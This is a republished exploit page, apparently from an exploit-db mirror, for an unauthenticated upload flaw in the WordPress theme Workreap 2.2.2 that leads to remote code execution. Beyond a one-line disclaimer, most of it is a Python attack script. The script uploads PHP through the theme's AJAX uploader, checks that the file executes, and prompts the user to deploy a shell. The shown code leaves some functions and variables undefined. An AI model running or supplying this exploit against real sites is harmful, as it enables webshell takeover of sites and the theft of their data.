Wordpress theme workreap 2.2.2 unauthenticated upload leading to remote code execution Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2023-06-09 |
Type : webapps |
Platform : php
This exploit / vulnerability Wordpress theme workreap 2.2.2 unauthenticated upload leading to remote code execution is for educational purposes only and if it is used you will do on your own risk!
import requests
import random
import string
import sys
def usage():
banner = '''
NAME: WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution
usage: python3 Workreap_rce.py <URL>
example for linux : python3 Workreap_rce.py https://www.exploit-db.com
example for Windows : python Workreap_rce.py https://www.exploit-db.com
'''
print(f"{BOLD}{banner}{ENDC}")
def upload_file(target):
print("[ ] Uploading File")
url = target + "/wp-admin/admin-ajax.php"
body = "<?php echo '" + random_str + "';?>"
data = {"action": "workreap_award_temp_file_uploader"}
response = requests.post(url, data=data, files={"award_img": (file_name, body)})
if '{"type":"success",' in response.text:
print(f"{GREEN}[+] File uploaded successfully{ENDC}")
check_php_file(target)
else:
print(f"{RED}[+] File was not uploaded{ENDC}")
def check_php_file(target):
response_2 = requests.get(target + "/wp-content/uploads/workreap-temp/" + file_name)
if random_str in response_2.text:
print(f"{GREEN}The uploaded PHP file executed successfully.{ENDC}")
print("path: " + target +"/wp-content/uploads/workreap-temp/" + file_name)
question = input(f"{YELLOW}Do you want get RCE? [Y/n] {ENDC}")
if question == "y" or question == "Y":
print("[ ] Uploading Shell ")
get_rce(target)
else:
usage()
else:
print(f"{RED}[+] PHP file not allowed on this website. Try uploading another file.{ENDC}")